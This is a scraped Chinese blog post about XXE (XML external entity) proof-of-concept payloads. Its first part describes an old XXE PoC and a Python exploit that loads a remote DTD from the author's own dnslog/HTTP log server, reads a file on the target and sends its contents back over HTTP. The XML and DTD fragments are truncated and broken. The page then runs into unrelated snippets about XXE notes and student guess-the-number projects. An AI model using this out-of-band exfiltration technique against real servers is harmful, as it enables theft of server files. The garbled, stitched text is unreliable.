0x01 舊的 xxe poc
<?xml version="1.0" encoding="utf-8"?>
%remote;
]>
該poc只能證明伺服器請求過第三方dtd,但無法驗證是否執行、是否讀取了檔案是否發出來資訊
每次驗證的時候,都需要在公網主機上建乙個 xx.xml放置dtd,dtd再讀檔案指向dns或ftp,頗為麻煩
0x02 新的 xxe poc+exp
想起來我還有個自己搭建的dnslog + http log 平台
import requests
def exp_xxe_vul(domain):
my_xml = "http://網域名稱手動打碼.info/%s/3mognym4" % domain.replace(".", "-")
dtd由dnslog平台的http response功能提供在獲取dtd的時候,會附帶上 domain.replace(".", "-")也就是網域名稱的資訊。
dtd
">
%int;
%send;
獲取dtd之後,讀取檔案,將主機名用http的方式再傳送到該頁面來 (a頁面 -> dtd -> a頁面)0x03 效果這裡為什麼不用dns的方式,因為檔案中的換行符空格等可能阻斷dns資訊的傳輸
下面的先出現的記錄獲取了網域名稱資訊
上面的後出現的記錄獲取了檔案資訊
妙極,網域名稱和exp拿到的主機名對得上了
10 XXE漏洞個人筆記總結
xml外部實體注入,當允許引用外部實體時,通過構造惡意內容,導致命令執行。由於程式在解析輸入的xml資料時,解析了攻擊者偽造的外部實體而產生的。xml文件結構包括xml宣告 dtd文件型別定義 可選 文件元素 xxe name php裡解析xml用的是libxml,在大於2.9.0的版本中就禁止解析...
個人專案 新猜數字
個人專案 新猜數字 專案 內容 所屬課程 18級安卓方向軟體工程 作業簡介 開發新猜數字小遊戲,使用git進行原始碼管理,使用單元測試工具junit對各個方法進行單元測試 作業要求 個人專案 零 猜數字 作業目的 熟悉git 碼雲 junit基本使用方法,單元測試設計以及回顧j a的基本語法 學生姓...
個人專案(一) 新猜數字
專案 內容所屬課程 18web方向軟體工程 作業簡介 開發新猜數字小遊戲,使用git進行原始碼管理,使用單元測試工具junit對各個方法進行單元測試 作業要求 個人專案 一 新猜數字 作業目的 熟悉git 碼雲 junit基本使用方法,單元測試設計以及回顧j a的基本語法 參考資料 新猜數字遊戲 單...